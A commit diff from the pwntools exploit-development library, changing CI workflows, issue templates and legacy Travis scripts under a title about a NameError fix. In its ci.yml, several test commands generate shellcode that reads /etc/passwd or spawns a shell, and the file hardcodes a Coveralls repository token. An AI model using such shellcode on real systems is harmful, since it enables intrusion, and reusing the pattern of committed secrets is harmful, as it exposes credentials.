Fix NameError in submit_flag and Kernel.enable_uart (#2798)

* Fix NameError in submit_flag and Kernel.enable_uart

* Add changelog entry for #2798

.coveragerc

@@ -1,8 +0,0 @@
-[run]
-branch = True
-omit =
-    */constants/*
-source =
-    pwn
-    pwnlib
-    ~/.pwntools-cache/

.github/ISSUE_TEMPLATE.md

@@ -0,0 +1,14 @@
+# Pwntools Issue Template
+
+Thanks for contributing to Pwntools!
+
+When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
+
+Please verify that your issue occurs on 64-bit Ubuntu 22.04.  You can use the Dockerfile on `docker.io` for quick testing.
+
+```
+$ docker pull pwntools/pwntools:stable
+$ docker run -it pwntools/pwntools:stable
+```
+
+If possible, provide a proof-of-concept which demonstrates the problem.  Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable `PWNLIB_DEBUG=1`.

.github/ISSUE_TEMPLATE/bug_report.md

@@ -0,0 +1,54 @@
+---
+name: Bug report
+about: Create a report to help us improve
+title: ''
+labels: backport-required, bug
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!
+
+## Update Pwntools First
+
+When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
+
+## Debug Output
+
+Having the extra debug output really helps us, and might help you diagnose the problem yourself.
+
+When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
+
+```sh
+$ python exploit.py DEBUG LOG_FILE=log.txt
+```
+
+You should see `[DEBUG]` statements that show what's happening behind the scenes:
+
+```
+[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
+[DEBUG] Sent 0x7 bytes:
+    'whoami\n'
+[DEBUG] Sent 0x5 bytes:
+    'exit\n'
+[+] Receiving all data: Done (11B)
+[DEBUG] Received 0xb bytes:
+    'crashheap\n'
+[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
+```
+
+## Verify on Ubuntu
+
+If possible, please verify that your issue occurs on 64-bit Ubuntu 24.04.  We provide a Dockerfile based on Ubuntu 24.04 via `docker.io` to make this super simple, no VM required!
+
+```sh
+# Download the Docker image
+$ docker pull pwntools/pwntools:stable
+
+# Boot the image
+$ docker run -it pwntools/pwntools:stable
+
+pwntools@7dc3ef409476:~$ python
+>>> from pwn import *
+>>> # Test your code here
+```

.github/ISSUE_TEMPLATE/feature_request.md

@@ -0,0 +1,18 @@
+---
+name: Feature request
+about: Suggest an idea for this project
+title: ''
+labels: feature
+assignees: ''
+
+---
+
+Thanks for contributing to Pwntools!   Ideas from the community help make Pwntools an amazing tool for everybody.
+
+If you've got an idea for a new feature, please provide information about:
+
+* What the feature does
+* Why the feature should exist
+* What tests should be included
+
+If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!

.github/ISSUE_TEMPLATE/question.md

@@ -0,0 +1,18 @@
+---
+name: Question
+about: Ask us a question about Pwntools
+title: ''
+labels: question
+assignees: ''
+
+---
+
+Thanks for using Pwntools!  If you have a question, here are some tips that will make it easier for us to help you.
+
+## Check the Documentation
+
+Pwntools has REALLY extensive documentation.  Please check there first!  https://docs.pwntools.com
+
+## Debug Output
+
+If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`.  This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.

.github/PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1,32 @@
+# Pwntools Pull Request
+
+Thanks for contributing to Pwntools!  Take a moment to look at [`CONTRIBUTING.md`][contributing] to make sure you're familiar with Pwntools development.
+
+Please provide a high-level explanation of what this pull request is for.
+
+## Testing
+
+Pull Requests that introduce new code should try to add doctests for that code.  See [`TESTING.md`][testing] for more information.
+
+## Target Branch
+
+Depending on what the PR is for, it needs to target a different branch.
+
+You can always [change the branch][change] after you create the PR if it's against the wrong branch.
+
+| Branch   | Type of PR                                                       |
+| -------- | ---------------------------------------------------------------- |
+| `dev`    | New features, and enhancements
+| `dev`    | Documentation fixes and new tests
+| `stable` | Bug fixes that affect the current `stable` branch
+| `beta`   | Bug fixes that affect the current `beta` branch, but not `stable`
+| `dev`    | Bug fixes for code that has never been released
+
+[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
+[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
+[change]: https://github.blog/news-insights/product-news/change-the-base-branch-of-a-pull-request/
+
+## Changelog
+
+After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.  
+You can look at the existing changelog for examples of how to do this.

.github/dependabot.yml

@@ -0,0 +1,11 @@
+version: 2
+updates:
+
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      # Check for updates to GitHub Actions every month
+      interval: "monthly"
+    groups:
+      github-actions:
+        dependency-type: "production"

.github/workflows/changelog.yml

@@ -0,0 +1,33 @@
+name: Changelog
+on:
+  pull_request:
+    paths:
+    - pwnlib/**
+    - pwn/**
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  check:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v7
+      with:
+        fetch-depth: 0
+
+    - name: Check changelog for updates
+      run: |
+        if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
+           echo 'Changelog updated :D'
+        else
+           if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\|--'; then
+              echo 'Major changes detected, changelog required!'
+              false
+           else
+              echo 'Minor changes detected, no changelog required!'
+           fi
+        fi

.github/workflows/ci.yml

@@ -0,0 +1,413 @@
+name: Continuous Integration
+on: [push, pull_request]
+
+jobs:
+  test:
+    strategy:
+      matrix:
+        python_version: ['3.10', '3.12', '3.13', '3.14', '3.15']
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    services:
+      libcdb-cache:
+        image: nginx
+        volumes:
+          - /home/runner/libcdb-cache:/var/cache/nginx
+        ports:
+          - 3000:3000  # https://debuginfod.elfutils.org proxy cache
+          - 3001:3001  # https://libc.rip/ proxy cache
+          - 3002:3002  # http://archive.ubuntu.com/ proxy cache
+          - 3003:3003  # https://gitlab.com/ proxy cache
+          - 3004:3004  # https://debuginfod.ubuntu.com/ proxy cache
+    env:
+      DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/"
+      PWN_LIBCRIP_URL: http://localhost:3001/
+      PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
+      PWN_GITLAB_LIBCDB_URL:  http://localhost:3003/
+    steps:
+    - uses: actions/checkout@v7
+      with:
+        fetch-depth: 20
+
+    - name: Git History
+      run: |
+        git fetch origin
+        git log --oneline --graph -10
+
+    - name: Fix libcdb-cache permissions
+      id: fix-perms
+      run: |
+        sudo chown -R runner:runner /home/runner/libcdb-cache
+        echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
+
+    - name: Cache for libcdb requests
+      uses: actions/cache@v6
+      with:
+        path: ~/libcdb-cache
+        key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
+        restore-keys: |
+          libcdb-python${{ matrix.python_version }}-
+          libcdb-
+
+    - name: Install libcdb-cache service config
+      run: |
+        sudo chown -R 101:101 /home/runner/libcdb-cache
+        container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
+        docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf
+        docker restart $container_id
+
+    - name: Install RPyC for gdb
+      run: |
+        # The version packaged in python3-rpyc is too old on Ubuntu 24.04
+        # We use ^6.0 from pip.
+        sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
+        /usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
+        gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
+
+    - name: Set up Python ${{ matrix.python_version }}
+      uses: actions/setup-python@v7
+      with:
+        python-version: ${{ matrix.python_version }}
+        cache: 'pip'
+        cache-dependency-path: |
+          **/pyproject.toml
+          **/requirements*.txt
+
+
+    - name: Verify tag against version
+      if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        set -x
+        GITHUB_TAG=${GITHUB_REF#refs/tags/}
+        echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
+        vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
+        vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
+        [ "$vsetup" = "$vpwnlib" ]
+        [ "$GITHUB_TAG" = "$vsetup" ]
+
+    - name: Install Linux dependencies
+      run: |
+        sudo apt-get update
+        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
+          ash bash-static dash ksh mksh zsh \
+          gdb gdbserver socat \
+          binutils-multiarch qemu-user-static \
+          binutils-aarch64-linux-gnu \
+          binutils-arm-linux-gnueabihf \
+          binutils-mips-linux-gnu \
+          binutils-mipsel-linux-gnu \
+          binutils-msp430 \
+          binutils-powerpc-linux-gnu \
+          binutils-s390x-linux-gnu \
+          binutils-sparc64-linux-gnu \
+          binutils-riscv64-linux-gnu \
+          binutils-loongarch64-linux-gnu \
+          gcc-multilib \
+          libc6-dbg \
+          elfutils \
+          patchelf
+
+    # Print diagnostics to help when Corefile doctests fail.
+    - name: Testing Corefiles
+      run: |
+        ulimit -a
+        ulimit -c unlimited
+        cat /proc/sys/kernel/core_pattern
+        cat /proc/sys/kernel/core_uses_pid
+        ( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core* || coredumpctl list sh) || true
+
+    - name: Set up SSH
+      run: |
+        travis/ssh_setup.sh
+
+    - name: Install dependencies
+      run: |
+        pip install --upgrade pip
+        pip install --upgrade wheel build
+        pip install --upgrade flake8 appdirs
+        pip install --upgrade --editable .
+        # Pin to known working version until 2.1.5 is out. https://github.com/unicorn-engine/unicorn/issues/2134
+        pip install 'unicorn==2.1.2'
+
+    - name: Sanity checks
+      run: |
+        PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
+        python -c "import hashlib; assert hashlib.algorithms_guaranteed == {'sha256', 'blake2s', 'sha3_384', 'shake_256', 'sha1', 'md5', 'shake_128', 'sha224', 'sha512', 'blake2b', 'sha3_512', 'sha3_224', 'sha3_256', 'sha384'}"
+
+    - name: Install documentation dependencies
+      run: pip install -r docs/requirements.txt
+
+    - name: Disable yama ptrace_scope
+      run: |
+        echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
+
+    - name: Coverage doctests
+      run: |
+        # Python version installed using setup-python interferes with gdb's python
+        # by setting LD_LIBRARY_PATH and gdb's python becoming unable to load built-in modules
+        # like _socket. This is a workaround.
+        unset LD_LIBRARY_PATH
+        PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
+
+    - name: Coverage running examples
+      run: |
+        export TERM=linux
+        set -x
+        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
+        python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
+        python -bb -m coverage run examples/asm.py
+        python -bb -m coverage run examples/asm.py
+        python -bb -m coverage run examples/text.py
+        # for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
+
+    - name: Coverage running commandline tools
+      run: |
+        export TERM=linux
+        pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline."$cmd" "$@" ) }
+        set -x
+
+        pwn cyclic 32
+        pwn cyclic -l 0x62616161
+        pwn cyclic -a ab
+        echo
+
+        pwn shellcraft --list |tail
+        pwn shellcraft -l --syscalls |tail
+        pwn shellcraft -l execve
+        pwn shellcraft -l execve + exit
+        pwn shellcraft --show i386.linux.loader_append
+        pwn shellcraft --show i386.linux.loader_append + i386.linux.sh
+        pwn shellcraft -f asm --color amd64.linux.sh
+        pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd
+        pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =
+        pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
+        pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex
+        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -f i   --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null
+        pwn shellcraft -f c   amd64.linux.syscalls.exit 0 </dev/null
+        pwn shellcraft -f c   amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null
+        pwn shellcraft -f str aarch64.linux.sh </dev/null
+        pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
+        pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
+        pwn shellcraft -fp aarch64.trap
+
+        pwn disasm --color ff3424c3ebfe
+        pwn asm -f hex nop
+
+        pwn hex ABCD
+        pwn hex ABCD --separator ' '
+        pwn hex ABCD --prefix '\x'
+        pwn hex ABCD -p '0x' -s ' '
+
+        pwn hex abcd
+        pwn unhex 4141 4141
+
+        cat /dev/urandom | pwn phd --color -c 256 -s 2
+        pwn phd -l 0x3d --color=always /etc/os-release
+
+        pwn checksec /bin/bash
+        (ulimit -v 500000 && pwn checksec /bin/bash)
+
+        pwn errno 2
+        pwn errno -1
+        pwn errno EADDRINUSE
+
+        pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
+        pwn constgrep ^MAP_ 0
+        pwn constgrep -e O_RDWR
+        pwn constgrep C
+
+        pwn libcdb file /lib/x86_64-linux-gnu/libc.so.6
+        pwn libcdb lookup puts 5f0 __libc_start_main_ret d0a
+        pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
+
+    - name: Build source and wheel distributions
+      run: |
+        python -m build
+
+    - uses: actions/upload-artifact@v7
+      if: matrix.python_version == '3.10'
+      with:
+        name: packages
+        path: dist/
+        include-hidden-files: true
+
+    - uses: actions/upload-artifact@v7
+      with:
+        name: coverage-${{ matrix.python_version }}
+        path: .coverage*
+        include-hidden-files: true
+
+    - name: Fix libcdb-cache permissions
+      run: |
+        container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
+        docker stop $container_id
+        sudo chown -R runner:runner /home/runner/libcdb-cache
+
+  android-test:
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    continue-on-error: true
+    steps:
+    - uses: actions/checkout@v7
+
+    - name: Set up Python 3.12
+      uses: actions/setup-python@v7
+      with:
+        python-version: '3.12'
+        cache: 'pip'
+        cache-dependency-path: |
+          **/pyproject.toml
+          **/requirements*.txt
+
+    - name: Install Linux dependencies
+      run: |
+        sudo apt-get update
+        sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
+          gdb gdbserver socat \
+          qemu-user-static \
+          binutils-aarch64-linux-gnu \
+          binutils-arm-linux-gnueabihf \
+          libc6-dbg
+
+    - name: Cache for avd
+      uses: actions/cache@v6
+      id: cache-avd
+      with:
+        path: |
+          ~/.android
+          /usr/local/lib/android/sdk/emulator
+          /usr/local/lib/android/sdk/platform-tools
+          /usr/local/lib/android/sdk/system-images
+        key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
+        restore-keys: |
+          ${{ matrix.os }}-cache-avd-
+
+    - name: Install Android AVD
+      run: |
+        sudo usermod -aG kvm $USER
+        source travis/setup_avd_fast.sh
+        sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
+        set | grep ^PATH >.android.env
+
+    - name: Install dependencies
+      run: |
+        pip install --upgrade pip
+        pip install --upgrade wheel build
+        pip install --upgrade flake8 appdirs
+        pip install --upgrade --editable .
+
+    - name: Sanity checks
+      run:  PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
+
+    - name: Install documentation dependencies
+      run:  pip install -r docs/requirements.txt
+
+    - name: Coverage Doctests (Android Only)
+      run: |
+        source .android.env
+        PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
+
+    - uses: actions/upload-artifact@v7
+      with:
+        name: coverage-android
+        path: .coverage*
+        include-hidden-files: true
+
+  windows-test:
+    runs-on: windows-latest
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v7
+
+    - name: Set up Python 3.12
+      uses: actions/setup-python@v7
+      with:
+        python-version: '3.12'
+
+    - name: Install dependencies
+      run: |
+        pip install --upgrade pip
+        pip install --upgrade --editable .
+
+    - name: Install documentation dependencies
+      run: pip install -r docs/requirements.txt
+
+    - name: Sanity checks
+      run: |
+        python -bb -c 'from pwn import *'
+        python -bb examples/text.py
+
+    - name: Coverage doctests
+      run: |
+        python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
+
+    - uses: actions/upload-artifact@v7
+      with:
+        name: coverage-windows
+        path: .coverage*
+        include-hidden-files: true
+
+  upload-coverage:
+    runs-on: ubuntu-latest
+    needs: [test, android-test, windows-test]
+    steps:
+    - uses: actions/checkout@v7
+      with:
+        fetch-depth: 20
+
+    - uses: actions/download-artifact@v8
+      with:
+        pattern: coverage-*
+        merge-multiple: true
+
+    - name: Install coveralls
+      run: |
+        pip install --break-system-packages tomli coveralls || pip install tomli coveralls
+
+    - name: Upload coverage to coveralls.io
+      run: |
+        coverage combine
+        COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
+
+
+  staging-merge:
+    runs-on: ubuntu-latest
+    if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
+    needs: test
+    steps:
+    - uses: actions/checkout@v7
+      with:
+        fetch-depth: 20
+    - name: Push changes to protected branch
+      env:
+        GITHUB_REF: ${{ github.event.ref }}
+      run: |
+        BRANCH=${GITHUB_REF#refs/heads/}
+        TARGET=${BRANCH%-staging}
+        git branch -f "$TARGET"
+        git push origin "$TARGET"
+        git push origin --delete "$BRANCH"
+
+
+  pypi:
+    runs-on: ubuntu-latest
+    if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
+    permissions:
+      id-token: write
+    needs: test
+    steps:
+    - name: Download artifacts
+      uses: actions/download-artifact@v8
+      with:
+        name: packages
+        path: dist
+
+    - name: Publish package
+      uses: pypa/gh-action-pypi-publish@release/v1
+
+    - if: failure()
+      run: ls -R

.github/workflows/docker.yml

@@ -0,0 +1,64 @@
+name: Publish Docker images
+on:
+  push:
+    branches:
+      - dev
+      - beta
+      - stable
+  workflow_dispatch:
+jobs:
+  publish:
+    runs-on: ubuntu-latest
+    if: github.repository_owner == 'Gallopsled'
+    steps:
+      # Required for subdirectories in Git context
+      - name: Set up Docker Buildx
+        uses: docker/setup-buildx-action@v4
+
+      - name: Login to Docker Hub
+        uses: docker/login-action@v4
+        with:
+          username: ${{ secrets.DOCKERHUB_USERNAME }}
+          password: ${{ secrets.DOCKERHUB_PASSWORD }}
+
+      - name: Build and push base image
+        uses: docker/build-push-action@v7
+        if: github.event_name == 'workflow_dispatch'
+        with:
+          context: "{{defaultContext}}:extra/docker/base"
+          push: true
+          tags: pwntools/pwntools:base
+
+      - name: Build and push stable image
+        uses: docker/build-push-action@v7
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
+        with:
+          context: "{{defaultContext}}:extra/docker/stable"
+          push: true
+          tags: pwntools/pwntools:stable
+
+      - name: Build and push beta image
+        uses: docker/build-push-action@v7
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
+        with:
+          context: "{{defaultContext}}:extra/docker/beta"
+          push: true
+          tags: pwntools/pwntools:beta
+
+      - name: Build and push dev image
+        uses: docker/build-push-action@v7
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
+        with:
+          context: "{{defaultContext}}:extra/docker/dev"
+          push: true
+          tags: |
+            pwntools/pwntools:dev
+            pwntools/pwntools:latest
+
+      - name: Build and push ci image
+        uses: docker/build-push-action@v7
+        if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
+        with:
+          context: "{{defaultContext}}:travis/docker"
+          push: true
+          tags: pwntools/pwntools:ci

.github/workflows/lint.yml

@@ -0,0 +1,43 @@
+name: Lint
+on: [push, pull_request]
+
+jobs:
+  lint:
+    strategy:
+      matrix:
+        python-version: ['3.10']
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v7
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v7
+      with:
+        python-version: ${{ matrix.python-version }}
+        cache: 'pip'
+        cache-dependency-path: |
+          **/pyproject.toml
+          **/requirements*.txt
+
+    - name: Critical lint
+      run: |
+        pip install flake8
+        flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk  # TODO: Add F82
+
+    - name: Style lint
+      run: |
+        flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+        flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
+        flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
+
+    - name: Minimum Python version check
+      run: |
+        pip install vermin
+        vermin -vvv --no-tips -t=3.10- --violations  ./pwnlib ./pwn
+
+    - name: MyPy type hint baseline
+      run: |
+        pip install -U . --group dev
+        mypy | mypy-baseline filter

.github/workflows/merge-conflict.yml

@@ -0,0 +1,30 @@
+name: Check for merge markers
+on:
+  pull_request:
+    types: [synchronize]
+env:
+  GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
+
+jobs:
+  mergecheck:
+    strategy:
+      matrix:
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 5
+    steps:
+    - uses: actions/checkout@v7
+      with:
+        fetch-depth: 0
+
+    - name: Check for merge conflict markers commited
+      run: |
+        if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
+            echo 'WARNING: Merge marker commits found in history.'
+            if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
+                echo 'ERROR: Merge markers still present! Do something!'
+                exit 1
+            fi
+        else
+            echo 'Congrats! All the merges you did were clean or resolved correctly :)'
+        fi

.github/workflows/pylint.yml

@@ -0,0 +1,36 @@
+name: PyLint
+on: [pull_request]
+
+jobs:
+  build:
+    strategy:
+      matrix:
+        python-version: ['3.10']
+        os: [ubuntu-latest]
+    runs-on: ${{ matrix.os }}
+    timeout-minutes: 30
+    steps:
+    - uses: actions/checkout@v7
+
+    - name: Set up Python ${{ matrix.python-version }}
+      uses: actions/setup-python@v7
+      with:
+        python-version: ${{ matrix.python-version }}
+        cache: 'pip'
+        cache-dependency-path: |
+          **/pyproject.toml
+          **/requirements*.txt
+
+    - name: PyLint
+      run: |
+        set -x
+        pip install 'pylint<4'
+        pip install --upgrade -e .
+        run_pylint() { pylint --exit-zero --errors-only pwnlib -f parseable | cut -d ' ' -f2- | sed 's/line [0-9]\+/line XXXX/g'; }
+        run_pylint > current.txt
+        git fetch origin
+        git checkout origin/"$GITHUB_BASE_REF"
+        run_pylint > base.txt
+        if diff base.txt current.txt | grep '>'; then
+          false
+        fi

.gitignore

@@ -11,6 +11,14 @@ docs/build
 build
 MANIFEST
 dist
+venv
+.vscode
+.idea
 *.egg-info
 *.core
 .coverage
+.coverage.*
+.idea
+__pycache__
+!.github
+.DS_Store

.readthedocs.yaml

@@ -0,0 +1,15 @@
+# https://docs.readthedocs.io/en/stable/config-file/v2.html
+
+version: 2
+
+build:
+  os: ubuntu-22.04
+  tools:
+    python: "3.12"
+
+sphinx:
+  configuration: docs/source/conf.py
+
+python:
+  install:
+  - requirements: docs/requirements.txt

.travis.yml

@@ -1,30 +0,0 @@
-sudo: false
-language: python
-addons:
-  apt:
-    packages:
-    - gcc-multilib
-    - gcc-4.6-arm-linux-gnueabihf
-cache:
-    - pip
-    - directories:
-        - usr
-        - /home/travis/virtualenv/python2.7.9/lib/python2.7/site-packages/
-        - /home/travis/virtualenv/python2.7.9/bin/
-python:
-  - "2.7"
-after_success:
-  - coveralls
-before_install:
-  - source .travis_install.sh
-  - source .travis_ssh_setup.sh
-install:
-  - pip install -e .
-  - pip install -r docs/requirements.txt
-before_script:
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-  - PWNLIB_NOTERM=1 python -c 'from pwn import *; print pwnlib.term.term_mode'
-script:
-  - PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest

.travis_install.sh

@@ -1,88 +0,0 @@
-#!/usr/bin/env bash -e
-local_deb_extract()
-{
-    wget $1
-    ar vx *.deb
-    tar xvf data.tar.*
-    rm -f *.tar.* *deb*
-}
-
-get_binutils()
-{
-    BINUTILS_PREFIX='https://launchpad.net/~pwntools/+archive/ubuntu/binutils/+files/binutils-'
-    BINUTILS_SUFFIX='-linux-gnu_2.22-6ubuntu1.1cross0.11pwntools12~precise_amd64.deb'
-    local_deb_extract "${BINUTILS_PREFIX}${1}${BINUTILS_SUFFIX}"
-}
-
-get_qemu()
-{
-    echo "Installing qemu"
-    QEMU_URL='https://mirrors.kernel.org/ubuntu/pool/universe/q/qemu/qemu-user-static_2.6%2bdfsg-3ubuntu1_amd64.deb'
-    local_deb_extract "$QEMU_URL"
-}
-
-setup_travis()
-{
-    export PATH=$PWD/usr/bin:$PATH
-    export LD_LIBRARY_PATH=$PWD/usr/lib
-
-    if [ ! -d usr/bin ];
-    then
-        # Install our custom binutils
-        which arm-linux-as     || get_binutils arm
-        which mips-linux-as    || get_binutils mips
-        which powerpc-linux-as || get_binutils powerpc
-        which aarch64-linux-as || get_binutils aarch64
-
-        # Install the multiarch binutils
-        local_deb_extract http://mirrors.mit.edu/ubuntu/ubuntu/pool/universe/b/binutils/binutils-multiarch_2.22-6ubuntu1_amd64.deb
-    fi
-
-    if ! (which qemu-arm-static && qemu-arm-static -version | grep 2.6.0); then
-        get_qemu
-    fi
-
-    # Get rid of files we don't want cached
-    rm -rf usr/share
-
-    pushd usr/lib
-    ln -sf libbfd-2.22-multiarch.so libbfd-2.22.so
-    ln -sf libopcodes-2.22-multiarch.so libopcodes-2.22.so
-    popd
-
-    which arm-linux-gnu-as
-    which mips-linux-gnu-as
-    which powerpc-linux-gnu-as
-    which aarch64-linux-gnu-as
-    which qemu-arm-static
-}
-
-setup_linux()
-{
-    sudo apt-get install -y software-properties-common openssh-server libncurses5-dev libncursesw5-dev
-    sudo apt-add-repository --yes ppa:pwntools/binutils
-    sudo apt-get update
-    sudo apt-get install binutils-arm-linux-gnu binutils-mips-linux-gnu binutils-powerpc-linux-gnu
-}
-
-setup_osx()
-{
-    brew update
-    brew install binutils
-    brew install capstone
-}
-
-if [[ "$USER" == "travis" ]]; then
-    setup_travis
-elif [[ "$USER" == "shippable" ]]; then
-    sudo apt-get update
-    sudo apt-get install openssh-server gcc-multilib
-    sudo /usr/sbin/sshd -f /etc/ssh/sshd_config &
-    setup_travis
-elif [[ "$(uname)" == "Darwin" ]]; then
-    setup_osx
-elif [[ "$(uname)" == "Linux" ]]; then
-    setup_linux
-fi
-
-dpkg -l

.travis_ssh_setup.sh

@@ -1,54 +0,0 @@
-#!/usr/bin/env bash
-#
-# Install a demo user for SSH purposes
-#
-# All of the "conditional sudo" is to do container-based builds on
-# Travis which are much, much faster.
-U=travis
-H=/home/$U
-
-USUDO()
-{
-if [[ "$USER" == "travis" ]];
-then
-    $*
-else
-    sudo -u $U $*
-fi
-}
-
-
-if [[ "$USER" == "travis" ]];
-then
-    rm -f ~/.ssh/*
-else
-    # Create the new user account
-    # Disable password login for the user, and ensure the account is not locked
-    sudo useradd -m $U
-    sudo passwd --delete --unlock $U
-fi
-
-# Generate a new key so that we can log into it
-ssh-keygen -t rsa -f ~/.ssh/$U -N ''
-
-# Load the public key into a memory for below
-pubkey=$(cat ~/.ssh/$U.pub)
-
-# Set the authorized_keys entry to only permit login from localhost,
-# and only with
-USUDO mkdir $H/.ssh
-USUDO tee -a $H/.ssh/authorized_keys <<EOF
-from="127.0.0.1" $pubkey
-EOF
-
-# In the pwntools examples, we ssh to 'example.pwnme'
-# Set up an SSH config entry to make this actually work
-cat >> ~/.ssh/config <<EOF
-
-Host example.pwnme
-    User $U
-    HostName 127.0.0.1
-    IdentityFile ~/.ssh/$U
-EOF
-
-ssh -o "StrictHostKeyChecking no" -vvvv [email protected] id

CONTRIBUTING.md

@@ -2,26 +2,56 @@
 
 Github has a great guide for contributing to open source projects:
 
-- [Contributing to a project](https://guides.github.com/activities/forking/)
-- [Fork the repository](https://guides.github.com/activities/forking/#fork)
-- [Clone your fork](https://guides.github.com/activities/forking/#clone)
